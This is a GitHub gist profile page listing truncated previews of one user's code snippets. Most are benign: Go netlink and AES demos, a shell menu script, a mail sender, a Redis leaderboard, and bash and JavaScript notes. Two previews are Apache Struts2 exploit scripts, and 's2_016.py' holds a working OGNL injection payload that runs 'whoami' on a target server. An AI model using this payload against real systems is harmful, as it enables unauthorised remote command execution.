Skip to content

Instantly share code, notes, and snippets.

View wcc526's full-sized avatar

chi-chi weng wcc526

View GitHub Profile
@wcc526
wcc526 / cn_proc_demo.go
Created July 19, 2021 07:35
cn_proc demo use netlink
package main
import (
"encoding/binary"
"errors"
"fmt"
"strconv"
"strings"
"sync"
"syscall"
@wcc526
wcc526 / golang-aes.go
Created December 9, 2020 09:50
golang aes
package main
import (
"bytes"
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"encoding/base64"
"encoding/hex"
"io"
@wcc526
wcc526 / network_analysis.sh
Created February 19, 2019 12:31
网络分析脚本
#!/bin/bash
#显示菜单(单选)
display_menu(){
local soft=$1
local prompt="which ${soft} you'd select: "
eval local arr=(\${${soft}_arr[@]})
while true
do
echo -e "#################### ${soft} setting ####################\n\n"
@wcc526
wcc526 / defer.go
Created September 1, 2018 13:10
defer,panic,recover
package main
import (
"fmt"
)
func main() {
fmt.Println("Hello")
testpanics()
fmt.Println("World")
@wcc526
wcc526 / sendmail.py
Created September 1, 2018 11:51
使用邮件模板发送邮件
# coding=utf-8
import os
import csv
import smtplib
from email.header import Header as _Header
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.utils import parseaddr, formataddr
from mako.template import Template
@wcc526
wcc526 / redis.py
Last active September 1, 2018 11:43
Redis排行版应用
import string
import random
import redis
r = redis.StrictRedis(host='localhost',port=6379,db=0)
GAME_BOARD_KEY = 'game.board'
# 插入100条随机用户名和分数组成的记录,zadd方法表示操作的是有序列表
for i in range(1000):
@wcc526
wcc526 / S02-045.py
Created March 7, 2017 04:34
S02-045.py
#! /usr/bin/env python
# encoding:utf-8
import urllib2
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
def poc():
@wcc526
wcc526 / s2_016.py
Last active February 28, 2017 04:57
s2_016.py
#!/usr/bin/env python
import urllib
import urllib2
import re
import sys
url_exp = "?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'whoami'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}"
def judge(url):
#判断是否存在该漏洞
try:
url = url + url_exp
@wcc526
wcc526 / bash.md
Last active October 11, 2015 11:29
bash tutorial
#!/bin/bash
OF=myhome_directory_$(date +%Y%m%d).tar.gz
tar -czf $OF /home/linuxconfig
#!/bin/bash
#Declare array with 4 elements
ARRAY=( 'Debian Linux' 'Redhat Linux' Ubuntu Linux )
# get number of elements in the array
ELEMENTS=${#ARRAY[@]}
@wcc526
wcc526 / javascript_workflow.md
Created September 26, 2015 12:11
javascript workflow

Debug

  • console.log('Hello');
  • console.debug('debug');
  • console.info('info');
  • console.warn('warn');
  • console.error('error');

Time